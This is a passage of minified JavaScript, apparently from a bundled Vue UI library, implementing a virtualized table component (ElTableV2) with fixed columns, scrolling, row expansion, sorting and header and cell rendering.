r=N(()=>d(t).filter(v=>!v.hidden)),o=N(()=>d(r).filter(v=>v.fixed==="left"||v.fixed===!0)),i=N(()=>d(r).filter(v=>v.fixed==="right")),s=N(()=>d(r).filter(v=>!v.fixed)),a=N(()=>{const v=[];return d(o).forEach(I=>{v.push({...I,placeholderSign:Ud})}),d(s).forEach(I=>{v.push(I)}),d(i).forEach(I=>{v.push({...I,placeholderSign:Ud})}),v}),l=N(()=>d(o).length||d(i).length),u=N(()=>d(t).reduce((I,q)=>(I[q.key]=Vde(q,d(n),e.fixed),I),{})),c=N(()=>d(r).reduce((v,I)=>v+I.width,0)),f=v=>d(t).find(I=>I.key===v),p=v=>d(u)[v],m=(v,I)=>{v.width=I};function g(v){var I;const{key:q}=v.currentTarget.dataset;if(!q)return;const{sortState:M,sortBy:E}=e;let x=Jd.ASC;At(M)?x=Ey[M[q]]:x=Ey[E.order],(I=e.onColumnSort)==null||I.call(e,{column:f(q),key:q,order:x})}return{columns:t,columnsStyles:u,columnsTotalWidth:c,fixedColumnsOnLeft:o,fixedColumnsOnRight:i,hasFixedColumns:l,mainColumns:a,normalColumns:s,visibleColumns:r,getColumn:f,getColumnStyle:p,updateColumnWidth:m,onColumnSorted:g}}const Fde=(e,{mainTableRef:t,leftTableRef:n,rightTableRef:r,onMaybeEndReached:o})=>{const i=D({scrollLeft:0,scrollTop:0});function s(m){var g,v,I;const{scrollTop:q}=m;(g=t.value)==null||g.scrollTo(m),(v=n.value)==null||v.scrollToTop(q),(I=r.value)==null||I.scrollToTop(q)}function a(m){i.value=m,s(m)}function l(m){i.value.scrollTop=m,s(d(i))}function u(m){var g,v;i.value.scrollLeft=m,(v=(g=t.value)==null?void 0:g.scrollTo)==null||v.call(g,d(i))}function c(m){var g;a(m),(g=e.onScroll)==null||g.call(e,m)}function f({scrollTop:m}){const{scrollTop:g}=d(i);m!==g&&l(m)}function p(m,g="auto"){var v;(v=t.value)==null||v.scrollToRow(m,g)}return Ce(()=>d(i).scrollTop,(m,g)=>{m>g&&o()}),{scrollPos:i,scrollTo:a,scrollToLeft:u,scrollToTop:l,scrollToRow:p,onScroll:c,onVerticalScroll:f}},Hde=(e,{mainTableRef:t,leftTableRef:n,rightTableRef:r})=>{const o=bt(),{emit:i}=o,s=ln(!1),a=ln(null),l=D(e.defaultExpandedRowKeys||[]),u=D(-1),c=ln(null),f=D({}),p=D({}),m=ln({}),g=ln({}),v=ln({}),I=N(()=>nt(e.estimatedRowHeight));function q(j){var H;(H=e.onRowsRendered)==null||H.call(e,j),j.rowCacheEnd>d(u)&&(u.value=j.rowCacheEnd)}function M({hovered:j,rowKey:H}){a.value=j?H:null}function E({expanded:j,rowData:H,rowIndex:P,rowKey:U}){var X,L;const h=[...d(l)],b=h.indexOf(U);j?b===-1&&h.push(U):b>-1&&h.splice(b,1),l.value=h,i("update:expandedRowKeys",h),(X=e.onRowExpand)==null||X.call(e,{expanded:j,rowData:H,rowIndex:P,rowKey:U}),(L=e.onExpandedRowsChange)==null||L.call(e,h)}const x=co(()=>{var j,H,P,U;s.value=!0,f.value={...d(f),...d(p)},R(d(c),!1),p.value={},c.value=null,(j=t.value)==null||j.forceUpdate(),(H=n.value)==null||H.forceUpdate(),(P=r.value)==null||P.forceUpdate(),(U=o.proxy)==null||U.$forceUpdate(),s.value=!1},0);function R(j,H=!1){d(I)&&[t,n,r].forEach(P=>{const U=d(P);U&&U.resetAfterRowIndex(j,H)})}function K(j,H,P){const U=d(c);(U===null||U>P)&&(c.value=P),p.value[j]=H}function W({rowKey:j,height:H,rowIndex:P},U){U?U===d4.RIGHT?v.value[j]=H:m.value[j]=H:g.value[j]=H;const X=Math.max(...[m,v,g].map(L=>L.value[j]||0));d(f)[j]!==X&&(K(j,X,P),x())}return{hoveringRowKey:a,expandedRowKeys:l,lastRenderedRowIndex:u,isDynamic:I,isResetting:s,rowHeights:f,resetAfterIndex:R,onRowExpanded:E,onRowHovered:M,onRowsRendered:q,onRowHeightChange:W}},Pde=(e,{expandedRowKeys:t,lastRenderedRowIndex:n,resetAfterIndex:r})=>{const o=D({}),i=N(()=>{const a={},{data:l,rowKey:u}=e,c=d(t);if(!c||!c.length)return l;const f=[],p=new Set;c.forEach(g=>p.add(g));let m=l.slice();for(m.forEach(g=>a[g[u]]=0);m.length>0;){const g=m.shift();f.push(g),p.has(g[u])&&Array.isArray(g.children)&&g.children.length>0&&(m=[...g.children,...m],g.children.forEach(v=>a[v[u]]=a[g[u]]+1))}return o.value=a,f}),s=N(()=>{const{data:a,expandColumnKey:l}=e;return l?d(i):a});return Ce(s,(a,l)=>{a!==l&&(n.value=-1,r(0,!0))}),{data:s,depthMap:o}},Dde=(e,t)=>e+t,Yh=e=>Ve(e)?e.reduce(Dde,0):e,Kl=(e,t,n={})=>ot(e)?e(t):e??n,ea=e=>(["width","maxWidth","minWidth","height"].forEach(t=>{e[t]=Yn(e[t])}),e),f4=e=>En(e)?t=>tt(e,t):e,Xde=(e,{columnsTotalWidth:t,data:n,fixedColumnsOnLeft:r,fixedColumnsOnRight:o})=>{const i=N(()=>{const{fixed:E,width:x,vScrollbarSize:R}=e,K=x-R;return E?Math.max(Math.round(d(t)),K):K}),s=N(()=>d(i)+e.vScrollbarSize),a=N(()=>{const{height:E=0,maxHeight:x=0,footerHeight:R,hScrollbarSize:K}=e;if(x>0){const W=d(g),j=d(l),P=d(m)+W+j+K;return Math.min(P,x-R)}return E-R}),l=N(()=>{const{rowHeight:E,estimatedRowHeight:x}=e,R=d(n);return nt(x)?R.length*x:R.length*E}),u=N(()=>{const{maxHeight:E}=e,x=d(a);if(nt(E)&&E>0)return x;const R=d(l)+d(m)+d(g);return Math.min(x,R)}),c=E=>E.width,f=N(()=>Yh(d(r).map(c))),p=N(()=>Yh(d(o).map(c))),m=N(()=>Yh(e.headerHeight)),g=N(()=>{var E;return(((E=e.fixedData)==null?void 0:E.length)||0)*e.rowHeight}),v=N(()=>d(a)-d(m)-d(g)),I=N(()=>{const{style:E={},height:x,width:R}=e;return ea({...E,height:x,width:R})}),q=N(()=>ea({height:e.footerHeight})),M=N(()=>({top:Yn(d(m)),bottom:Yn(e.footerHeight),width:Yn(e.width)}));return{bodyWidth:i,fixedTableHeight:u,mainTableHeight:a,leftTableWidth:f,rightTableWidth:p,headerWidth:s,rowsHeight:l,windowHeight:v,footerHeight:q,emptyStyle:M,rootStyle:I,headerHeight:m}},Qde=e=>{const t=D(),n=D(0),r=D(0);let o;return mt(()=>{o=On(t,([i])=>{const{width:s,height:a}=i.contentRect,{paddingLeft:l,paddingRight:u,paddingTop:c,paddingBottom:f}=getComputedStyle(i.target),p=Number.parseInt(l)||0,m=Number.parseInt(u)||0,g=Number.parseInt(c)||0,v=Number.parseInt(f)||0;n.value=s-p-m,r.value=a-g-v}).stop}),vn(()=>{o==null||o()}),Ce([n,r],([i,s])=>{var a;(a=e.onResize)==null||a.call(e,{width:i,height:s})}),{sizer:t,width:n,height:r}};function _de(e){const t=D(),n=D(),r=D(),{columns:o,columnsStyles:i,columnsTotalWidth:s,fixedColumnsOnLeft:a,fixedColumnsOnRight:l,hasFixedColumns:u,mainColumns:c,onColumnSorted:f}=Ude(e,hn(e,"columns"),hn(e,"fixed")),{scrollTo:p,scrollToLeft:m,scrollToTop:g,scrollToRow:v,onScroll:I,onVerticalScroll:q,scrollPos:M}=Fde(e,{mainTableRef:t,leftTableRef:n,rightTableRef:r,onMaybeEndReached:Me}),{expandedRowKeys:E,hoveringRowKey:x,lastRenderedRowIndex:R,isDynamic:K,isResetting:W,rowHeights:j,resetAfterIndex:H,onRowExpanded:P,onRowHeightChange:U,onRowHovered:X,onRowsRendered:L}=Hde(e,{mainTableRef:t,leftTableRef:n,rightTableRef:r}),{data:h,depthMap:b}=Pde(e,{expandedRowKeys:E,lastRenderedRowIndex:R,resetAfterIndex:H}),{bodyWidth:w,fixedTableHeight:A,mainTableHeight:C,leftTableWidth:S,rightTableWidth:z,headerWidth:k,rowsHeight:y,windowHeight:T,footerHeight:te,emptyStyle:le,rootStyle:re,headerHeight:de}=Xde(e,{columnsTotalWidth:s,data:h,fixedColumnsOnLeft:a,fixedColumnsOnRight:l}),ce=ln(!1),we=D(),Ie=N(()=>{const se=d(h).length===0;return Ve(e.fixedData)?e.fixedData.length===0&&se:se});function ge(se){const{estimatedRowHeight:ue,rowHeight:ve,rowKey:ke}=e;return ue?d(j)[d(h)[se][ke]]||ue:ve}function Me(){const{onEndReached:se}=e;if(!se)return;const{scrollTop:ue}=d(M),ve=d(y),ke=d(T),me=ve-(ue+ke)+e.hScrollbarSize;d(R)>=0&&ve===ue+d(C)-d(de)&&se(me)}return Ce(()=>e.expandedRowKeys,se=>E.value=se,{deep:!0}),{columns:o,containerRef:we,mainTableRef:t,leftTableRef:n,rightTableRef:r,isDynamic:K,isResetting:W,isScrolling:ce,hoveringRowKey:x,hasFixedColumns:u,columnsStyles:i,columnsTotalWidth:s,data:h,expandedRowKeys:E,depthMap:b,fixedColumnsOnLeft:a,fixedColumnsOnRight:l,mainColumns:c,bodyWidth:w,emptyStyle:le,rootStyle:re,headerWidth:k,footerHeight:te,mainTableHeight:C,fixedTableHeight:A,leftTableWidth:S,rightTableWidth:z,showEmpty:Ie,getRowHeight:ge,onColumnSorted:f,onRowHovered:X,onRowExpanded:P,onRowsRendered:L,onRowHeightChange:U,scrollTo:p,scrollToLeft:m,scrollToTop:g,scrollToRow:v,onScroll:I,onVerticalScroll:q}}const RI=Symbol("tableV2"),h4=String,gf={type:he(Array),required:!0},LI={type:he(Array)},p4={...LI,required:!0},$de=String,A7={type:he(Array),default:()=>Mn([])},Da={type:Number,required:!0},m4={type:he([String,Number,Symbol]),default:"id"},M7={type:he(Object)},il=Ge({class:String,columns:gf,columnsStyles:{type:he(Object),required:!0},depth:Number,expandColumnKey:$de,estimatedRowHeight:{...gl.estimatedRowHeight,default:void 0},isScrolling:Boolean,onRowExpand:{type:he(Function)},onRowHover:{type:he(Function)},onRowHeightChange:{type:he(Function)},rowData:{type:he(Object),required:!0},rowEventHandlers:{type:he(Object)},rowIndex:{type:Number,required:!0},rowKey:m4,style:{type:he(Object)}}),b0={type:Number,required:!0},ZI=Ge({class:String,columns:gf,fixedHeaderData:{type:he(Array)},headerData:{type:he(Array),required:!0},headerHeight:{type:he([Number,Array]),default:50},rowWidth:b0,rowHeight:{type:Number,default:50},height:b0,width:b0}),Bh=Ge({columns:gf,data:p4,fixedData:LI,estimatedRowHeight:il.estimatedRowHeight,width:Da,height:Da,headerWidth:Da,headerHeight:ZI.headerHeight,bodyWidth:Da,rowHeight:Da,cache:Nx.cache,useIsScrolling:Boolean,scrollbarAlwaysOn:gl.scrollbarAlwaysOn,scrollbarStartGap:gl.scrollbarStartGap,scrollbarEndGap:gl.scrollbarEndGap,class:h4,style:M7,containerStyle:M7,getRowHeight:{type:he(Function),required:!0},rowKey:il.rowKey,onRowsRendered:{type:he(Function)},onScroll:{type:he(Function)}}),efe=Ge({cache:Bh.cache,estimatedRowHeight:il.estimatedRowHeight,rowKey:m4,headerClass:{type:he([String,Function])},headerProps:{type:he([Object,Function])},headerCellProps:{type:he([Object,Function])},headerHeight:ZI.headerHeight,footerHeight:{type:Number,default:0},rowClass:{type:he([String,Function])},rowProps:{type:he([Object,Function])},rowHeight:{type:Number,default:50},cellProps:{type:he([Object,Function])},columns:gf,data:p4,dataGetter:{type:he(Function)},fixedData:LI,expandColumnKey:il.expandColumnKey,expandedRowKeys:A7,defaultExpandedRowKeys:A7,class:h4,fixed:Boolean,style:{type:he(Object)},width:Da,height:Da,maxHeight:Number,useIsScrolling:Boolean,indentSize:{type:Number,default:12},iconSize:{type:Number,default:12},hScrollbarSize:gl.hScrollbarSize,vScrollbarSize:gl.vScrollbarSize,scrollbarAlwaysOn:Gx.alwaysOn,sortBy:{type:he(Object),default:()=>({})},sortState:{type:he(Object),default:void 0},onColumnSort:{type:he(Function)},onExpandedRowsChange:{type:he(Function)},onEndReached:{type:he(Function)},onRowExpand:il.onRowExpand,onScroll:Bh.onScroll,onRowsRendered:Bh.onRowsRendered,rowEventHandlers:il.rowEventHandlers}),TI=(e,{slots:t})=>{var n;const{cellData:r,style:o}=e,i=((n=r==null?void 0:r.toString)==null?void 0:n.call(r))||"",s=qe(t,"default",e,()=>[i]);return ae("div",{class:e.class,title:i,style:o},[s])};TI.displayName="ElTableV2Cell";TI.inheritAttrs=!1;const NI=(e,{slots:t})=>qe(t,"default",e,()=>{var n,r;return[ae("div",{class:e.class,title:(n=e.column)==null?void 0:n.title},[(r=e.column)==null?void 0:r.title])]});NI.displayName="ElTableV2HeaderCell";NI.inheritAttrs=!1;const tfe=Ge({class:String,columns:gf,columnsStyles:{type:he(Object),required:!0},headerIndex:Number,style:{type:he(Object)}}),nfe=ie({name:"ElTableV2HeaderRow",props:tfe,setup(e,{slots:t}){return()=>{const{columns:n,columnsStyles:r,headerIndex:o,style:i}=e;let s=n.map((a,l)=>t.cell({columns:n,column:a,columnIndex:l,headerIndex:o,style:r[a.key]}));return t.header&&(s=t.header({cells:s.map(a=>Ve(a)&&a.length===1?a[0]:a),columns:n,headerIndex:o})),ae("div",{class:e.class,style:i,role:"row"},[s])}}}),rfe="ElTableV2Header",ofe=ie({name:rfe,props:ZI,setup(e,{slots:t,expose:n}){const r=Oe("table-v2"),o=D(),i=N(()=>ea({width:e.width,height:e.height})),s=N(()=>ea({width:e.rowWidth,height:e.height})),a=N(()=>Ml(d(e.headerHeight))),l=f=>{const p=d(o);$e(()=>{p!=null&&p.scroll&&p.scroll({left:f})})},u=()=>{const f=r.e("fixed-header-row"),{columns:p,fixedHeaderData:m,rowHeight:g}=e;return m==null?void 0:m.map((v,I)=>{var q;const M=ea({height:g,width:"100%"});return(q=t.fixed)==null?void 0:q.call(t,{class:f,columns:p,rowData:v,rowIndex:-(I+1),style:M})})},c=()=>{const f=r.e("dynamic-header-row"),{columns:p}=e;return d(a).map((m,g)=>{var v;const I=ea({width:"100%",height:m});return(v=t.dynamic)==null?void 0:v.call(t,{class:f,columns:p,headerIndex:g,style:I})})};return n({scrollToLeft:l}),()=>{if(!(e.height<=0))return ae("div",{ref:o,class:e.class,style:d(i),role:"rowgroup"},[ae("div",{style:d(s),class:r.e("header")},[c(),u()])])}}}),ife=e=>{const{isScrolling:t}=Fe(RI),n=D(!1),r=D(),o=N(()=>nt(e.estimatedRowHeight)&&e.rowIndex>=0),i=(l=!1)=>{const u=d(r);if(!u)return;const{columns:c,onRowHeightChange:f,rowKey:p,rowIndex:m,style:g}=e,{height:v}=u.getBoundingClientRect();n.value=!0,$e(()=>{if(l||v!==Number.parseInt(g.height)){const I=c[0],q=(I==null?void 0:I.placeholderSign)===Ud;f==null||f({rowKey:p,height:v,rowIndex:m},I&&!q&&I.fixed)}})},s=N(()=>{const{rowData:l,rowIndex:u,rowKey:c,onRowHover:f}=e,p=e.rowEventHandlers||{},m={};return Object.entries(p).forEach(([g,v])=>{ot(v)&&(m[g]=I=>{v({event:I,rowData:l,rowIndex:u,rowKey:c})})}),f&&[{name:"onMouseleave",hovered:!1},{name:"onMouseenter",hovered:!0}].forEach(({name:g,hovered:v})=>{const I=m[g];m[g]=q=>{f({event:q,hovered:v,rowData:l,rowIndex:u,rowKey:c}),I==null||I(q)}}),m}),a=l=>{const{onRowExpand:u,rowData:c,rowIndex:f,rowKey:p}=e;u==null||u({expanded:l,rowData:c,rowIndex:f,rowKey:p})};return mt(()=>{d(o)&&i(!0)}),{isScrolling:t,measurable:o,measured:n,rowRef:r,eventHandlers:s,onExpand:a}},sfe="ElTableV2TableRow",afe=ie({name:sfe,props:il,setup(e,{expose:t,slots:n,attrs:r}){const{eventHandlers:o,isScrolling:i,measurable:s,measured:a,rowRef:l,onExpand:u}=ife(e);return t({onExpand:u}),()=>{const{columns:c,columnsStyles:f,expandColumnKey:p,depth:m,rowData:g,rowIndex:v,style:I}=e;let q=c.map((M,E)=>{const x=Ve(g.children)&&g.children.length>0&&M.key===p;return n.cell({column:M,columns:c,columnIndex:E,depth:m,style:f[M.key],rowData:g,rowIndex:v,isScrolling:d(i),expandIconProps:x?{rowData:g,rowIndex:v,onExpand:u}:void 0})});if(n.row&&(q=n.row({cells:q.map(M=>Ve(M)&&M.length===1?M[0]:M),style:I,columns:c,depth:m,rowData:g,rowIndex:v,isScrolling:d(i)})),d(s)){const{height:M,...E}=I||{},x=d(a);return ae("div",xt({ref:l,class:e.class,style:x?I:E,role:"row"},r,d(o)),[q])}return ae("div",xt(r,{ref:l,class:e.class,style:I,role:"row"},d(o)),[q])}}}),lfe=e=>{const{sortOrder:t}=e;return ae(Pe,{size:14,class:e.class},{default:()=>[t===Jd.ASC?ae(DF,null,null):ae(HF,null,null)]})},ufe=e=>{const{expanded:t,expandable:n,onExpand:r,style:o,size:i}=e,s={onClick:n?()=>r(!t):void 0,class:e.class};return ae(Pe,xt(s,{size:i,style:o}),{default:()=>[ae(Xr,null,null)]})},cfe="ElTableV2Grid",dfe=e=>{const t=D(),n=D(),r=N(()=>{const{data:v,rowHeight:I,estimatedRowHeight:q}=e;if(!q)return v.length*I}),o=N(()=>{const{fixedData:v,rowHeight:I}=e;return((v==null?void 0:v.length)||0)*I}),i=N(()=>Yh(e.headerHeight)),s=N(()=>{const{height:v}=e;return Math.max(0,v-d(i)-d(o))}),a=N(()=>d(i)+d(o)>0),l=({data:v,rowIndex:I})=>v[I][e.rowKey];function u({rowCacheStart:v,rowCacheEnd:I,rowVisibleStart:q,rowVisibleEnd:M}){var E;(E=e.onRowsRendered)==null||E.call(e,{rowCacheStart:v,rowCacheEnd:I,rowVisibleStart:q,rowVisibleEnd:M})}function c(v,I){var q;(q=n.value)==null||q.resetAfterRowIndex(v,I)}function f(v,I){const q=d(t),M=d(n);!q||!M||(At(v)?(q.scrollToLeft(v.scrollLeft),M.scrollTo(v)):(q.scrollToLeft(v),M.scrollTo({scrollLeft:v,scrollTop:I})))}function p(v){var I;(I=d(n))==null||I.scrollTo({scrollTop:v})}function m(v,I){var q;(q=d(n))==null||q.scrollToItem(v,1,I)}function g(){var v,I;(v=d(n))==null||v.$forceUpdate(),(I=d(t))==null||I.$forceUpdate()}return{bodyRef:n,forceUpdate:g,fixedRowHeight:o,gridHeight:s,hasHeader:a,headerHeight:i,headerRef:t,totalHeight:r,itemKey:l,onItemRendered:u,resetAfterRowIndex:c,scrollTo:f,scrollToTop:p,scrollToRow:m}},jI=ie({name:cfe,props:Bh,setup(e,{slots:t,expose:n}){const{ns:r}=Fe(RI),{bodyRef:o,fixedRowHeight:i,gridHeight:s,hasHeader:a,headerRef:l,headerHeight:u,totalHeight:c,forceUpdate:f,itemKey:p,onItemRendered:m,resetAfterRowIndex:g,scrollTo:v,scrollToTop:I,scrollToRow:q}=dfe(e);n({forceUpdate:f,totalHeight:c,scrollTo:v,scrollToTop:I,scrollToRow:q,resetAfterRowIndex:g});const M=()=>e.bodyWidth;return()=>{const{cache:E,columns:x,data:R,fixedData:K,useIsScrolling:W,scrollbarAlwaysOn:j,scrollbarEndGap:H,scrollbarStartGap:P,style:U,rowHeight:X,bodyWidth:L,estimatedRowHeight:h,headerWidth:b,height:w,width:A,getRowHeight:C,onScroll:S}=e,z=nt(h),k=z?Xle:Fle,y=d(u);return ae("div",{role:"table",class:[r.e("table"),e.class],style:U},[ae(k,{ref:o,data:R,useIsScrolling:W,itemKey:p,columnCache:0,columnWidth:z?M:L,totalColumn:1,totalRow:R.length,rowCache:E,rowHeight:z?C:X,width:A,height:d(s),class:r.e("body"),role:"rowgroup",scrollbarStartGap:P,scrollbarEndGap:H,scrollbarAlwaysOn:j,onScroll:S,onItemRendered:m,perfMode:!1},{default:T=>{var te;const le=R[T.rowIndex];return(te=t.row)==null?void 0:te.call(t,{...T,columns:x,rowData:le})}}),d(a)&&ae(ofe,{ref:l,class:r.e("header-wrapper"),columns:x,headerData:R,headerHeight:e.headerHeight,fixedHeaderData:K,rowWidth:b,rowHeight:X,width:A,height:Math.min(y+d(i),w)},{dynamic:t.header,fixed:t.row})])}}});function ffe(e){return typeof e=="function"||Object.prototype.toString.call(e)==="[object Object]"&&!En(e)}const hfe=(e,{slots:t})=>{const{mainTableRef:n,...r}=e;return ae(jI,xt({ref:n},r),ffe(t)?t:{default:()=>[t]})};function pfe(e){return typeof e=="function"||Object.prototype.toString.call(e)==="[object Object]"&&!En(e)}const mfe=(e,{slots:t})=>{if(!e.columns.length)return;const{leftTableRef:n,...r}=e;return ae(jI,xt({ref:n},r),pfe(t)?t:{default:()=>[t]})};function vfe(e){return typeof e=="function"||Object.prototype.toString.call(e)==="[object Object]"&&!En(e)}const gfe=(e,{slots:t})=>{if(!e.columns.length)return;const{rightTableRef:n,...r}=e;return ae(jI,xt({ref:n},r),vfe(t)?t:{default:()=>[t]})};function yfe(e){return typeof e=="function"||Object.prototype.toString.call(e)==="[object Object]"&&!En(e)}const bfe=(e,{slots:t})=>{const{columns:n,columnsStyles:r,depthMap:o,expandColumnKey:i,expandedRowKeys:s,estimatedRowHeight:a,hasFixedColumns:l,hoveringRowKey:u,rowData:c,rowIndex:f,style:p,isScrolling:m,rowProps:g,rowClass:v,rowKey:I,rowEventHandlers:q,ns:M,onRowHovered:E,onRowExpanded:x}=e,R=Kl(v,{columns:n,rowData:c,rowIndex:f},""),K=Kl(g,{columns:n,rowData:c,rowIndex:f}),W=c[I],j=o[W]||0,H=!!i,P=f<0,U=[M.e("row"),R,{[M.e(`row-depth-${j}`)]:H&&f>=0,[M.is("expanded")]:H&&s.includes(W),[M.is("hovered")]:!m&&W===u,[M.is("fixed")]:!j&&P,[M.is("customized")]:!!t.row}],X=l?E:void 0,L={...K,columns:n,columnsStyles:r,class:U,depth:j,expandColumnKey:i,estimatedRowHeight:P?void 0:a,isScrolling:m,rowIndex:f,rowData:c,rowKey:W,rowEventHandlers:q,style:p};return ae(afe,xt(L,{onRowHover:X,onRowExpand:x}),yfe(t)?t:{default:()=>[t]})},Ay=({columns:e,column:t,columnIndex:n,depth:r,expandIconProps:o,isScrolling:i,rowData:s,rowIndex:a,style:l,expandedRowKeys:u,ns:c,cellProps:f,expandColumnKey:p,indentSize:m,iconSize:g,rowKey:v},{slots:I})=>{const q=ea(l);if(t.placeholderSign===Ud)return ae("div",{class:c.em("row-cell","placeholder"),style:q},null);const{cellRenderer:M,dataKey:E,dataGetter:x}=t,R=ot(x)?x({columns:e,column:t,columnIndex:n,rowData:s,rowIndex:a}):Tn(s,E??""),K=Kl(f,{cellData:R,columns:e,column:t,columnIndex:n,rowIndex:a,rowData:s}),W={class:c.e("cell-text"),columns:e,column:t,columnIndex:n,cellData:R,isScrolling:i,rowData:s,rowIndex:a},j=f4(M),H=j?j(W):qe(I,"default",W,()=>[ae(TI,W,null)]),P=[c.e("row-cell"),t.class,t.align===Vd.CENTER&&c.is("align-center"),t.align===Vd.RIGHT&&c.is("align-right")],U=a>=0&&p&&t.key===p,X=a>=0&&u.includes(s[v]);let L;const h=`margin-inline-start: ${r*m}px;`;return U&&(At(o)?L=ae(ufe,xt(o,{class:[c.e("expand-icon"),c.is("expanded",X)],size:g,expanded:X,style:h,expandable:!0}),null):L=ae("div",{style:[h,`width: ${g}px; height: ${g}px;`].join(" ")},null)),ae("div",xt({class:P,style:q},K,{role:"cell"}),[L,H])};Ay.inheritAttrs=!1;function Ife(e){return typeof e=="function"||Object.prototype.toString.call(e)==="[object Object]"&&!En(e)}const qfe=({columns:e,columnsStyles:t,headerIndex:n,style:r,headerClass:o,headerProps:i,ns:s},{slots:a})=>{const l={columns:e,headerIndex:n},u=[s.e("header-row"),Kl(o,l,""),{[s.is("customized")]:!!a.header}],c={...Kl(i,l),columnsStyles:t,class:u,columns:e,headerIndex:n,style:r};return ae(nfe,c,Ife(a)?a:{default:()=>[a]})},C7=(e,{slots:t})=>{const{column:n,ns:r,style:o,onColumnSorted:i}=e,s=ea(o);if(n.placeholderSign===Ud)return ae("div",{class:r.em("header-row-cell","placeholder"),style:s},null);const{headerCellRenderer:a,headerClass:l,sortable:u}=n,c={...e,class:r.e("header-cell-text")},f=f4(a),p=f?f(c):qe(t,"default",c,()=>[ae(NI,c,null)]),{sortBy:m,sortState:g,headerCellProps:v}=e;let I,q;if(g){const x=g[n.key];I=!!Ey[x],q=I?x:Jd.ASC}else I=n.key===m.key,q=I?m.order:Jd.ASC;const M=[r.e("header-cell"),Kl(l,e,""),n.align===Vd.CENTER&&r.is("align-center"),n.align===Vd.RIGHT&&r.is("align-right"),u&&r.is("sortable")],E={...Kl(v,e),onClick:n.sortable?i:void 0,class:M,style:s,"data-key":n.key};return ae("div",xt(E,{role:"columnheader"}),[p,u&&ae(lfe,{class:[r.e("sort-icon"),I&&r.is("sorting")],sortOrder:q},null)])},v4=(e,{slots:t})=>{var n;return ae("div",{class:e.class,style:e.style},[(n=t.default)==null?void 0:n.call(t)])};v4.displayName="ElTableV2Footer";const g4=(e,{slots:t})=>{const n=qe(t,"default",{},()=>[ae(qx,null,null)]);return ae("div",{class:e.class,style:e.style},[n])};g4.displayName="ElTableV2Empty";const y4=(e,{slots:t})=>{var n;return ae("div",{class:e.class,style:e.style},[(n=t.default)==null?void 0:n.call(t)])};y4.displayName="ElTableV2Overlay";function Lc(e){return typeof e=="function"||Object.prototype.toString.call(e)==="[object Object]"&&!En(e)}const wfe="ElTableV2",Sfe=ie({name:wfe,props:efe,setup(e,{slots:t,expose:n}){const r=Oe("table-v2"),{columnsStyles:o,fixedColumnsOnLeft:i,fixedColumnsOnRight:s,mainColumns:a,mainTableHeight:l,fixedTableHeight:u,leftTableWidth:c,rightTableWidth:f,data:p,depthMap:m,expandedRowKeys:g,hasFixedColumns:v,hoveringRowKey:I,mainTableRef:q,leftTableRef:M,rightTableRef:E,isDynamic:x,isResetting:R,isScrolling:K,bodyWidth:W,emptyStyle:j,rootStyle:H,headerWidth:P,footerHeight:U,showEmpty:X,scrollTo:L,scrollToLeft:h,scrollToTop:b,scrollToRow:w,getRowHeight:A,onColumnSorted:C,onRowHeightChange:S,onRowHovered:z,onRowExpanded:k,onRowsRendered:y,onScroll:T,onVerticalScroll:te}=_de(e);return n({scrollTo:L,scrollToLeft:h,scrollToTop:b,scrollToRow:w}),Ot(RI,{ns:r,isResetting:R,hoveringRowKey:I,isScrolling:K}),()=>{const{cache:le,cellProps:re,estimatedRowHeight:de,expandColumnKey:ce,fixedData:we,headerHeight:Ie,headerClass:ge,headerProps:Me,headerCellProps:se,sortBy:ue,sortState:ve,rowHeight:ke,rowClass:me,rowEventHandlers:Ee,rowKey:Le,rowProps:Ae,scrollbarAlwaysOn:be,indentSize:xe,iconSize:Re,useIsScrolling:Ne,vScrollbarSize:Se,width:Ze}=e,Q=d(p),J={cache:le,class:r.e("main"),columns:d(a),data:Q,fixedData:we,estimatedRowHeight:de,bodyWidth:d(W)+Se,headerHeight:Ie,headerWidth:d(P),height:d(l),mainTableRef:q,rowKey:Le,rowHeight:ke,scrollbarAlwaysOn:be,scrollbarStartGap:2,scrollbarEndGap:Se,useIsScrolling:Ne,width:Ze,getRowHeight:A,onRowsRendered:y,onScroll:T},V=d(c),G=d(u),O={cache:le,class:r.e("left"),columns:d(i),data:Q,estimatedRowHeight:de,leftTableRef:M,rowHeight:ke,bodyWidth:V,headerWidth:V,headerHeight:Ie,height:G,rowKey:Le,scrollbarAlwaysOn:be,scrollbarStartGap:2,scrollbarEndGap:Se,useIsScrolling:Ne,width:V,getRowHeight:A,onScroll:te},Y=d(f)+Se,$={cache:le,class:r.e("right"),columns:d(s),data:Q,estimatedRowHeight:de,rightTableRef:E,rowHeight:ke,bodyWidth:Y,headerWidth:Y,headerHeight:Ie,height:G,rowKey:Le,scrollbarAlwaysOn:be,scrollbarStartGap:2,scrollbarEndGap:Se,width:Y,style:`--${d(r.namespace)}-table-scrollbar-size: ${Se}px`,useIsScrolling:Ne,getRowHeight:A,onScroll:te},oe=d(o),ee={ns:r,depthMap:d(m),columnsStyles:oe,expandColumnKey:ce,expandedRowKeys:d(g),estimatedRowHeight:de,hasFixedColumns:d(v),hoveringRowKey:d(I),rowProps:Ae,rowClass:me,rowKey:Le,rowEventHandlers:Ee,onRowHovered:z,onRowExpanded:k,onRowHeightChange:S},ze={cellProps:re,expandColumnKey:ce,indentSize:xe,iconSize:Re,rowKey:Le,expandedRowKeys:d(g),ns:r},Te={ns:r,headerClass:ge,headerProps:Me,columnsStyles:oe},Xe={ns:r,sortBy:ue,sortState:ve,headerCellProps:se,onColumnSorted:C},wt={row:Ht=>ae(bfe,xt(Ht,ee),{row:t.row,cell:vt=>{let Rt;return t.cell?ae(Ay,xt(vt,ze,{style:oe[vt.column.key]}),Lc(Rt=t.cell(vt))?Rt:{default:()=>[Rt]}):ae(Ay,xt(vt,ze,{style:oe[vt.column.key]}),null)}}),header:Ht=>ae(qfe,xt(Ht,Te),{header:t.header,cell:vt=>{let Rt;return t["header-cell"]?ae(C7,xt(vt,Xe,{style:oe[vt.column.key]}),Lc(Rt=t["header-cell"](vt))?Rt:{default:()=>[Rt]}):ae(C7,xt(vt,Xe,{style:oe[vt.column.key]}),null)}})},at=[e.class,r.b(),r.e("root"),{[r.is("dynamic")]:d(x)}],gt={class:r.e("footer"),style:d(U)};return 